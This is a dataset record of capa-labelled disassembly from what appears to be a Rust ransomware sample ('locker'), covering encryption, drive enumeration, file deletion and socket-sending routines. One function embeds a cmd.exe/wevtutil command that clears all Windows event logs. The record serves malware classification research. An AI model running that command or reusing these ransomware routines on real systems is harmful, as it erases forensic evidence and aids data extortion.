joyce8/EMBER2024-capa huggingface dataset:
Function at 0x465140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp eax, 0x80
jb 0x465303
movdqu xmm4, xmmword [edx]
not ecx
movdqu xmm2, xmmword [edx + 0x10]
movdqu xmm1, xmmword [edx + 0x20]
movdqu xmm0, xmmword [edx + 0x30]
movdqa xmm5, xmmword [0x606470]
add edx, 0x40
add eax, 0xffffffc0
movd xmm3, ecx
pxor xmm3, xmm4
movdqa xmm4, xmmword [0x606460]
nop word cs:[eax + eax]
nop
movdqu xmm7, xmmword [edx]
movdqa xmm6, xmm3
pclmulqdq xmm3, xmm5, 0x11
add eax, 0xffffffc0
pclmulqdq xmm6, xmm4, 0
pxor xmm3, xmm7
movdqa xmm7, xmm2
pclmulqdq xmm2, xmm5, 0x11
pxor xmm3, xmm6
movdqu xmm6, xmmword [edx + 0x10]
pclmulqdq xmm7, xmm4, 0
pxor xmm2, xmm6
movdqu xmm6, xmmword [edx + 0x20]
pxor xmm2, xmm7
movdqa xmm7, xmm1
pclmulqdq xmm1, xmm5, 0x11
pclmulqdq xmm7, xmm4, 0
pxor xmm1, xmm6
movdqu xmm6, xmmword [edx + 0x30]
add edx, 0x40
cmp eax, 0x3f
pxor xmm1, xmm7
movdqa xmm7, xmm0
pclmulqdq xmm0, xmm5, 0x11
pclmulqdq xmm7, xmm4, 0
pxor xmm0, xmm6
pxor xmm0, xmm7
ja 0x465190
movdqa xmm4, xmmword [0x606480]
movdqa xmm5, xmmword [0x606490]
movdqa xmm6, xmm3
cmp eax, 0x10
pclmulqdq xmm6, xmm4, 0
pclmulqdq xmm3, xmm5, 0x11
pxor xmm6, xmm2
pxor xmm6, xmm3
movdqa xmm2, xmm6
pclmulqdq xmm6, xmm5, 0x11
pclmulqdq xmm2, xmm4, 0
pxor xmm2, xmm1
pxor xmm2, xmm6
movdqa xmm1, xmm2
pclmulqdq xmm2, xmm5, 0x11
pclmulqdq xmm1, xmm4, 0
pxor xmm1, xmm0
pxor xmm1, xmm2
jb 0x465297
nop dword [eax + eax]
movdqu xmm0, xmmword [edx]
movdqa xmm2, xmm1
pclmulqdq xmm1, xmm5, 0x11
add eax, 0xfffffff0
add edx, 0x10
pclmulqdq xmm2, xmm4, 0
cmp eax, 0xf
pxor xmm1, xmm0
pxor xmm1, xmm2
ja 0x465270
movdqa xmm0, xmmword [0x606490]
pxor xmm2, xmm2
test eax, eax
pclmulqdq xmm0, xmm1, 1
psrldq xmm1, 8
pxor xmm1, xmm0
pxor xmm0, xmm0
pblendw xmm2, xmm1, 3
psrldq xmm1, 4
pclmulqdq xmm2, xmmword [0x6064a0], 0
pxor xmm1, xmm2
pxor xmm2, xmm2
pblendw xmm2, xmm1, 3
pclmulqdq xmm2, xmmword [0x6064b0], 0x10
pblendw xmm2, xmm0, 0xfc
pclmulqdq xmm2, xmmword [0x6064c0], 0
pxor xmm2, xmm1
pextrd ecx, xmm2, 1
not ecx
je 0x46530e
push eax
call fcn.00465320
add esp, 4
pop ebp
ret
mov eax, ecx
pop ebp
ret
Function at 0x465fa0
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov ebx, ecx
lea ecx, [ebp - 0x34]
mov edi, edx
call fcn.00466170
cmp dword [ebp - 0x34], 1
jne 0x465fcf
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov ebx, edi
shld edi, eax, 0x18
shr ebx, 8
jmp 0x4660e8
mov esi, dword [ebp - 0x30]
test bx, bx
mov word [ebp - 0xe], bx
mov word [ebp - 0x10], di
js 0x466016
test di, di
js 0x466022
mov eax, dword [esi + 8]
mov word [ebp - 0x1c], bx
mov word [ebp - 0x1a], di
mov ecx, dword [ebp - 0x1c]
push ecx
push eax
call sub.KERNEL32.dll_SetConsoleCursorPosition
test eax, eax
je 0x4660fe
lock dec dword [esi]
mov al, 4
jne 0x466011
mov ecx, esi
call fcn.00465840
mov al, 4
jmp 0x4660e8
lea eax, [ebp - 0xe]
mov dword [ebp - 0x34], 0x61b658
jmp 0x46602c
lea eax, [ebp - 0x10]
mov dword [ebp - 0x34], 0x61b6a4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x460fe0
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x34]
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 1
call fcn.0040a660
mov eax, dword [0x6f1130]
test eax, eax
jne 0x466077
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x46610e
mov dword [0x6f1130], eax
push 0xc
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x46610e
mov ebx, eax
mov eax, dword [ebp - 0x38]
mov dword [ebx + 8], eax
movsd xmm0, qword [ebp - 0x40]
movsd qword [ebx], xmm0
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4660b1
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x46610e
mov dword [0x6f1130], eax
push 0xc
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x46610e
mov dword [eax], ebx
mov dword [eax + 4], 0x61b5e8
mov edi, eax
mov byte [eax + 8], 0x27
mov al, 3
mov ebx, edi
shl edi, 0x18
shr ebx, 8
lock dec dword [esi]
jne 0x4660e8
mov ecx, esi
mov esi, eax
call fcn.00465840
mov eax, esi
shld ebx, edi, 8
shl edi, 8
movzx eax, al
or eax, edi
mov edx, ebx
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
call sub.KERNEL32.dll_GetLastError
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor eax, eax
jmp 0x4660d0
mov ecx, 0xc
mov edx, 4
call fcn.0040a640
ud2
Function at 0x46d580
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x190
call fcn.0046d594

Function at 0x475ec0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov esi, dword [ebp + 8]
call fcn.00475ed1

Function at 0x47ab40
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov esi, ecx
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x47aba9
mov edi, edx
xor ebx, ebx
mov eax, 0x811c9dc5
mov dword [ebp - 0x14], esi
nop
mov dword [ebp - 0x10], ecx
movzx ecx, byte [edi]
inc edi
xor ecx, eax
mov eax, 0x100
mov esi, ecx
imul esi, eax
mov eax, ecx
mov ecx, 0x1b3
mul ecx
imul ebx, ecx
mov ecx, dword [ebp - 0x10]
add edx, esi
add ebx, edx
dec ecx
jne 0x47ab60
mov ecx, 0x1b3
xor eax, 0xff
mov esi, 0x100
imul esi, eax
mul ecx
imul ebx, ecx
add edx, esi
mov esi, dword [ebp - 0x14]
add ebx, edx
jmp 0x47abb3
mov ebx, 0x1c9d3adb
mov eax, 0x639f298e
mov edx, eax
mov ecx, esi
push ebx
call fcn.0047a7f0
add esp, 4
cmp eax, 1
jne 0x47ac99
mov eax, dword [esi + 0x28]
cmp edx, eax
jae 0x47acac
mov eax, dword [esi + 0x20]
imul ecx, edx, 0x38
mov edx, dword [eax + ecx + 0x1c]
mov eax, dword [eax + ecx + 0x24]
xor ecx, ecx
shl eax, 2
lea eax, [eax + eax*2]
test ecx, ecx
je 0x47abf4
nop
cmp ecx, esi
jne 0x47ac13
test eax, eax
je 0x47ac99
mov esi, dword [edx + 8]
mov ecx, dword [edx]
add edx, 0xc
add eax, 0xfffffff4
lea esi, [esi + esi*2]
lea esi, [ecx + esi*4]
test ecx, ecx
jne 0x47abf0
jmp 0x47abf4
test ecx, ecx
je 0x47ac99
push ecx
call fcn.005e0110
add esp, 4
test edx, edx
mov ecx, edx
mov dword [ebp - 0x10], edx
je 0x47aca3
mov ecx, dword [ebp - 0x10]
mov ebx, eax
lea edi, [eax + ecx]
jmp 0x47ac46
mov ebx, esi
cmp ebx, edi
je 0x47aca3
movzx ecx, byte [ebx]
lea esi, [ebx + 1]
test cl, cl
jns 0x47ac40
add ebx, 2
cmp cl, 0xe0
jae 0x47ac5f
cmp esi, edi
cmove ebx, esi
jmp 0x47ac42
cmp cl, 0xed
jne 0x47ac79
cmp esi, edi
cmove ebx, esi
cmp ebx, edi
je 0x47aca3
inc ebx
cmp esi, edi
je 0x47ac42
cmp byte [esi], 0x9f
jbe 0x47ac42
jmp 0x47acbf
cmp esi, edi
mov edx, ebx
cmove edx, esi
xor ebx, ebx
cmp edx, edi
setne bl
add ebx, edx
cmp cl, 0xf0
jb 0x47ac42
xor ecx, ecx
cmp ebx, edi
setne cl
add ebx, ecx
jmp 0x47ac42
xor eax, eax
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
test eax, eax
je 0x47acbf
mov edx, dword [ebp - 0x10]
jmp 0x47ac9b
mov ecx, edx
mov edx, eax
push 0x61ce74
call fcn.0045a150
add esp, 4
ud2
mov ecx, 0x61cd1f
mov edx, 0x23
push 0x61cda4
call fcn.0045d290
add esp, 4
ud2
Function at 0x487240
Capabilities:
Encode data using xor
Encrypt data using speck

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xaf8
mov ebx, ecx
call fcn.00487256
Function at 0x4ae480
Capabilities:
Encrypt data using speck
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x360
call fcn.004ae494

Function at 0x4b5310
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xa0
movsd xmm0, qword [ecx + 0x18]
movq xmm1, qword [ecx + 8]
call fcn.004b532e

Function at 0x4b5ac0
Capabilities:
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x5a0
call fcn.004b5ad4

Function at 0x4b9d60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x310
mov eax, dword [ecx + 8]
movsd xmm0, qword [ecx]
call fcn.004b9d7b

Function at 0x4bfe50
Capabilities:
Delete file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
mov eax, 0x4280
call fcn.00603dc0
movq xmm0, qword [ecx + 0x10]
movq xmm2, qword [ecx]
movq xmm1, qword [ecx + 8]
call fcn.004bfe76
Function at 0x4ca9d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov esi, edx
mov edx, ecx
lea ecx, [ebp - 0x34]
call fcn.004ca7d0
cmp dword [ebp - 0x34], 1
je 0x4caa7f
mov ecx, dword [ebp + 8]
mov edi, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ecx]
cmp eax, 2
je 0x4caa65
mov dword [ebp - 0x10], esi
mov esi, dword [ecx + 4]
movsd xmm1, qword [ecx + 0x10]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
movsd xmm0, qword [ecx + 8]
mov dword [ebp - 0x30], esi
movsd qword [ebp - 0x24], xmm1
movsd xmm1, qword [ecx + 0x18]
cmp edx, 0x7fffffff
mov ecx, 0x7fffffff
movsd qword [ebp - 0x2c], xmm0
cmovb ecx, edx
cmp eax, 1
mov eax, 0x1c
mov edx, 0x10
cmove edx, eax
movsd qword [ebp - 0x1c], xmm1
push edx
lea eax, [ebp - 0x30]
push eax
push 0
push ecx
push edi
push dword [ebp - 0x10]
call sub.WS2_32.dll_sendto
cmp eax, 0xffffffff
jne 0x4caa65
call sub.WS2_32.dll_WSAGetLastError
test ebx, ebx
je 0x4caa77
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov edx, 0x2b
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push 0x6210d8
push 0x620d24
push eax
call fcn.0045d480
add esp, 0xc
ud2
Function at 0x4d6eb0
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x30
xorps xmm0, xmm0
mov esi, edx
mov edi, ecx
mov eax, esp
movaps xmmword [esp + 0x10], xmm0
movaps xmmword [esp], xmm0
push 2
push 0x20
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
cmp eax, 0xc0000000
jb 0x4d6f26
mov ebx, eax
xor ebx, 0x80000000
je 0x4d6f26
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4d6f06
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4d6f91
mov dword [0x6f1130], eax
push 4
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x4d6f91
mov dword [eax], ebx
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x4d6f65
mov eax, dword [esp]
movups xmm0, xmmword [esp + 4]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
mov dword [edi], eax
movups xmmword [edi + 4], xmm0
mov dword [edi + 0x14], ecx
mov dword [edi + 0x18], edx
mov dword [edi + 0x1c], ebx
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x40], 0
mov ecx, 0xffffff00
mov edx, esi
mov eax, dword [edi + 0x34]
add ecx, dword [edi + 0x30]
adc eax, 0xffffffff
mov dword [edi + 0x38], ecx
mov ecx, edi
mov dword [edi + 0x3c], eax
call fcn.004d5740
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, 4
mov edx, 4
call fcn.0040a640
ud2

Function at 0x4d88f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov al, 4
test ebx, ebx
je 0x4d8978
mov eax, dword [ecx]
mov ecx, 0x6d65f0
mov edi, edx
mov edx, 0x6d65f0
shl ecx, 0x18
shr edx, 8
or ecx, 0x17
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
jmp 0x4d8946
call sub.KERNEL32.dll_GetLastError
mov ecx, eax
mov esi, eax
call fcn.005dc340
cmp al, 0x23
jne 0x4d8984
test ebx, ebx
je 0x4d8976
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push dword [ebp - 0x1c]
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x4d8930
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x4d897a
mov eax, ebx
sub eax, ecx
jb 0x4d89a2
add edi, ecx
mov ebx, eax
test ebx, ebx
jne 0x4d8946
mov al, 4
jmp 0x4d898e
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov al, 2
jmp 0x4d898e
mov edx, esi
shl esi, 0x18
xor eax, eax
shr edx, 8
shld edx, esi, 8
shl esi, 8
movzx eax, al
or eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, ebx
push 0x6d65c4
call fcn.0045a820
add esp, 4
ud2

Function at 0x4d8d70
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push ebp
mov ebp, esp
aeskeygenassist xmm0, xmmword [edx], 2
movdqa xmmword [ecx], xmm0
pop ebp
ret
Function at 0x4d8e00
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x20]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x44], 0x6d4414
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 0
lea edx, [ebp - 0x44]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0x50e6f0
mov dword [ebp - 0x30], 1
call fcn.0040a660
mov esi, dword [ebp - 0x24]
test esi, esi
js 0x4d8f24
mov ebx, dword [ebp - 0x2c]
je 0x4d8e8a
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4d8e6d
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4d8e7c
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edi, eax
test eax, eax
jne 0x4d8e8f
mov ecx, esi
mov edx, 1
call fcn.0040a640
ud2
mov edi, 1
push esi
push ebx
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea eax, [edi + esi]
lea ecx, [ebp - 0x20]
mov edx, edi
push 0
push eax
call fcn.005079e0
add esp, 8
mov eax, dword [ebp - 0x18]
movsd xmm0, qword [ebp - 0x20]
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x3c], eax
movsd qword [ebp - 0x44], xmm0
call fcn.004d5680
mov ebx, eax
test esi, esi
mov dword [ebp - 0x10], edx
je 0x4d8edc
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [ebp - 0x28], 0
je 0x4d8ef2
push dword [ebp - 0x2c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push ebx
call sub.KERNEL32.dll_GetDriveTypeW
test dword [ebp - 0x10], 0x7fffffff
mov esi, eax
mov word [ebx], 0
je 0x4d8f16
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp esi, 1
sete al
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.0040a620
ud2
Function at 0x4dcae0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov eax, dword [0x6d6b64]
mov esi, ecx
mov dword [ecx], eax
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call sub.KERNEL32.dll_GetLogicalDrives
mov dword [ebp - 0x18], eax
xor edi, edi
mov al, 0x41
mov dl, 0x41
jmp 0x4dcb42
mov eax, dword [esi]
lea ecx, [edx + edx*2]
inc edx
mov dword [eax + ecx*4], ebx
mov dword [eax + ecx*4 + 4], 1
mov dword [eax + ecx*4 + 8], 1
mov dword [esi + 8], edx
movzx edx, byte [ebp - 0xe]
mov ah, byte [ebp - 0xd]
cmp dl, 0x5b
setae al
inc edi
or ah, al
mov al, dl
test ah, ah
jne 0x4dcbaa
mov ecx, dword [ebp - 0x18]
cmp al, 0x5a
setae ah
adc dl, 0
bt ecx, edi
jae 0x4dcb33
mov dword [ebp - 0x14], 0
mov byte [ebp - 0xd], ah
mov byte [ebp - 0xe], dl
mov byte [ebp - 0x14], al
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4dcb79
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4dcbb2
mov dword [0x6f1130], eax
push 1
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x4dcbb2
movzx ecx, byte [ebp - 0x14]
mov ebx, eax
mov byte [ebx], cl
mov edx, dword [esi + 8]
cmp edx, dword [esi + 4]
jne 0x4dcb10
mov ecx, esi
call fcn.0047de40
mov edx, dword [esi + 8]
jmp 0x4dcb10
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, 1
mov edx, 1
call fcn.0040a640
ud2
Function at 0x4fd220
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x180
xorps xmm0, xmm0
mov esi, ecx
mov eax, esp
mov dword [esp], 0x100
lea ecx, [esp + 0x70]
movaps xmmword [esp + 0x160], xmm0
movaps xmmword [esp + 0x150], xmm0
movaps xmmword [esp + 0x140], xmm0
movaps xmmword [esp + 0x130], xmm0
movaps xmmword [esp + 0x120], xmm0
movaps xmmword [esp + 0x110], xmm0
movaps xmmword [esp + 0x100], xmm0
movaps xmmword [esp + 0xf0], xmm0
movaps xmmword [esp + 0xe0], xmm0
movaps xmmword [esp + 0xd0], xmm0
movaps xmmword [esp + 0xc0], xmm0
movaps xmmword [esp + 0xb0], xmm0
movaps xmmword [esp + 0xa0], xmm0
movaps xmmword [esp + 0x90], xmm0
movaps xmmword [esp + 0x80], xmm0
movaps xmmword [esp + 0x70], xmm0
push eax
push ecx
call sub.KERNEL32.dll_GetComputerNameW
test eax, eax
je 0x4fd2fe
lea ecx, [esp + 4]
lea edx, [esp + 0x70]
push dword [esp]
call fcn.00600820
add esp, 4
cmp dword [esp + 4], 0
je 0x4fd30c
test dword [esp + 0x10], 0x7fffffff
je 0x4fd2fe
push dword [esp + 0xc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov dword [esi], 0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [esp + 8]
mov ebx, dword [esp + 0xc]
lea ecx, [esp + 0x20]
mov edx, edi
push ebx
call fcn.00600b20
add esp, 4
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x4fd3ed
lea eax, [esp + 0x20]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x18]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0x41e510
mov eax, dword [0x6f1080]
mov dword [esp + 0x2c], 3
mov dword [esp + 0x30], str.locker::core::os::windows::system_infosrc_core_os_windows_system_info.rsdomain_name
mov dword [esp + 0x34], 0x26
mov dword [esp + 0x38], 0x6841b4
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
mov dword [esp + 0x48], edx
lea edx, [esp + 0x2c]
mov dword [esp + 0x4c], 1
mov dword [esp + 0x50], 0
mov dword [esp + 0x58], 0x26
mov dword [esp + 0x54], str.locker::core::os::windows::system_infosrc_core_os_windows_system_info.rsdomain_name
mov dword [esp + 0x5c], 0
mov dword [esp + 0x64], 0x22
mov dword [esp + 0x60], 0x6841e2
mov dword [esp + 0x68], 1
mov dword [esp + 0x6c], 0x13
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [esp + 0x28]
movsd xmm0, qword [esp + 0x20]
test ebx, 0x7fffffff
mov dword [esi + 8], eax
movsd qword [esi], xmm0
mov word [edi], 0
je 0x4fd419
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 4], 0
je 0x4fd304
test dword [esp + 0x10], 0x7fffffff
je 0x4fd304
push dword [esp + 0xc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x4fd304
Function at 0x502640
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov edi, dword [ebp + 8]
mov al, 4
test edi, edi
je 0x5026ce
mov ebx, dword [ecx]
mov esi, edx
jmp 0x502668
add esi, ecx
mov edi, eax
test edi, edi
je 0x5026e7
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x502690
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x5026d0
mov eax, edi
sub eax, ecx
jae 0x502660
jmp 0x5026fd
mov dword [ebp - 0x1c], esi
mov esi, ebx
call sub.KERNEL32.dll_GetLastError
mov ecx, eax
mov ebx, eax
call fcn.005dc340
cmp al, 0xb
mov dword [ebp - 0x18], 0
je 0x5026d0
mov dword [ebp - 0x14], ebx
mov ebx, esi
mov esi, dword [ebp - 0x1c]
cmp al, 0x23
je 0x502664
movzx eax, byte [ebp - 0x11]
movzx edx, word [ebp - 0x13]
mov ecx, dword [ebp - 0x17]
shl eax, 0x10
or edx, eax
xor eax, eax
jmp 0x5026e9
jmp 0x5026e9
mov ecx, 0x6843e8
mov edx, 0x6843e8
mov al, 2
shl ecx, 0x18
shr edx, 8
or ecx, 0x25
jmp 0x5026e9
mov al, 4
shld edx, ecx, 8
shl ecx, 8
movzx eax, al
or eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, edi
push 0x6843bc
call fcn.0045a820
add esp, 4
ud2
Function at 0x505550
Capabilities:
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x14
lea ecx, [ebp - 0x18]
mov edx, str.cmd.exe__c__for__F__tokens___1_in__wevtutil.exe_el__DO_wevtutil.exe_cl___1_
push 0x4f
call fcn.004edd80
add esp, 4
cmp dword [ebp - 0x18], 0
je 0x5055a7
cmp byte [ebp - 0x14], 3
jne 0x5055bd
mov esi, dword [ebp - 0x10]
mov eax, dword [esi + 4]
push dword [esi]
call dword [eax]
add esp, 4
mov ecx, dword [esi + 4]
cmp dword [ecx + 4], 0
je 0x5055a4
mov eax, dword [esi]
cmp dword [ecx + 8], 9
jb 0x505596
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push esi
jmp 0x5055b0
cmp dword [ebp - 0x10], 0
je 0x5055bd
push dword [ebp - 0x14]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
add esp, 0x14
pop esi
pop ebp
ret
Function at 0x5077f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
cmp byte [ecx + 0x49], 0
je 0x507806
xor esi, esi
jmp 0x5079c0
mov esi, dword [ecx + 0x30]
cmp dword [ecx], 1
mov edi, ecx
jne 0x50782c
mov dword [ebp - 0x10], esi
mov eax, dword [edi + 0x34]
cmp dword [edi + 0x24], 0xffffffff
mov esi, dword [edi + 0x38]
mov ebx, dword [edi + 0x3c]
lea edx, [edi + 8]
lea ecx, [ebp - 0x24]
je 0x507844
push 0
jmp 0x507846
cmp byte [edi + 0xe], 0
je 0x507874
mov dword [ebp - 0x24], 0
cmp dword [ebp - 0x24], 1
je 0x50785f
jmp 0x50799b
push 1
push ebx
push esi
push eax
mov esi, dword [ebp - 0x10]
push esi
call fcn.00586840
add esp, 0x14
cmp dword [ebp - 0x24], 1
jne 0x50799b
mov ecx, dword [edi + 0x40]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add esi, ecx
sub edx, ecx
mov dword [edi + 0x40], eax
jmp 0x5079c0
mov eax, dword [edi + 0x34]
mov cl, byte [edi + 0xc]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 4]
jmp 0x5078a0
add eax, ecx
mov dword [edi + 4], eax
mov ecx, dword [edi + 0xc]
test ecx, 0xff0000
jne 0x507832
mov edx, ecx
xor dl, 1
test eax, eax
mov byte [edi + 0xc], dl
je 0x5078c2
cmp dword [ebp - 0x14], eax
jbe 0x5078bc
cmp byte [esi + eax], 0xbf
jg 0x5078c2
jmp 0x5079ca
jne 0x5079ca
cmp eax, dword [ebp - 0x14]
je 0x507971
movzx ebx, byte [esi + eax]
test bl, bl
jns 0x507930
mov edx, esi
mov esi, ebx
movzx edx, byte [edx + eax + 1]
and esi, 0x1f
and edx, 0x3f
cmp bl, 0xdf
jbe 0x50791e
mov dword [ebp - 0x18], esi
mov esi, dword [ebp - 0x10]
shl edx, 6
movzx esi, byte [esi + eax + 2]
and esi, 0x3f
or esi, edx
cmp bl, 0xf0
jb 0x507923
mov edx, dword [ebp - 0x10]
movzx ebx, byte [edx + eax + 3]
mov edx, esi
mov esi, dword [ebp - 0x18]
shl edx, 6
and esi, 7
and ebx, 0x3f
shl esi, 0x12
or ebx, edx
or ebx, esi
jmp 0x50792d
shl esi, 6
jmp 0x507929
mov edx, dword [ebp - 0x18]
shl edx, 0xc
or esi, edx
mov ebx, esi
mov esi, dword [ebp - 0x10]
test cl, cl
jne 0x50797e
cmp ebx, 0x110000
je 0x507975
mov ecx, 1
cmp ebx, 0x80
jb 0x507890
mov ecx, 2
cmp ebx, 0x800
jb 0x507890
cmp ebx, 0x10000
mov ecx, 4
sbb ecx, 0
jmp 0x507890
test cl, cl
jne 0x507981
mov byte [edi + 0xe], 1
jmp 0x507832
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 1
je 0x50785f
xor esi, esi
cmp byte [edi + 0x49], 0
je 0x5079a5
jmp 0x5079c0
cmp byte [edi + 0x48], 0
mov eax, dword [edi + 0x40]
mov edx, dword [edi + 0x44]
jne 0x5079b5
cmp edx, eax
je 0x5079c0
mov byte [edi + 0x49], 1
sub edx, eax
add eax, dword [edi + 0x30]
mov esi, eax
mov eax, esi
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, dword [ebp - 0x14]
mov ecx, esi
